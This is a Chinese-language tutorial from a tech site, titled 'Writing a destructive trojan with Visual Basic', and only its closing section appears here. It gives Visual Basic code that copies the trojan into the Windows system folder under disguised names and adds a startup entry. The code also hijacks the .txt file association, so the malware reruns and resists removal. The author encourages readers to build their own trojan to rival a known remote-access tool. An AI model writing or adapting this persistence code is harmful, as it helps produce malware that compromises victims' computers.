首页 电脑 电脑学堂 查看内容

利用Visual Basic编写破坏性木马

2006-12-21 00:17 732 0

摘要:    result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)   End If End Sub 好,...
关键词: sKeyVal 木马 sCurrentPath sSystemDir result exe txtView windows 端口 system

   result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)   End If End Sub 好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码: Public Sub WriteToTxt()   Dim result As Long   Dim hKeyID As Long   Dim skey As String   Dim skeyVal As String   skey = "txtfile/shell/open/command"   skeyVal = "C:/windows/system/txtView.exe"   result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)   If result = 0 Then    result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)   End If End Sub 肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/ txtView.exe是哪里来的,我们的木马是C:/windows/system/systrsy.exe呀。这可是我们木马的分身了。 好,回到Server工程的Server窗体的form_Load中,加入如下代码: Dim sCurrentPath As String, sSystemDir As String sCurrentPath = App.Path & "/" & App.EXEName & ".exe" sSystemDir = “C:/windows/system” On Error Resume Next   '复制文件成系统目录下的Systrsy.exe   FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe" On Error Resume Next 复制文件成系统目录下的txtView.exe FileCopy sCurrentPath, sSystemDir & "/txtView.exe"    调用 Call startupGroup Call WriteToTxt '判断程序是否下在运行 If App.PrevInstance Then   '如果已经运行就退出。 End End If 好了,写到这里一个破坏性木马已经诞生了,我实验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河。 注意: 1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突。 2、在第一次使用VB.NET的最好看看有关的图书,可能你能写出一款超级木马也说不定。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部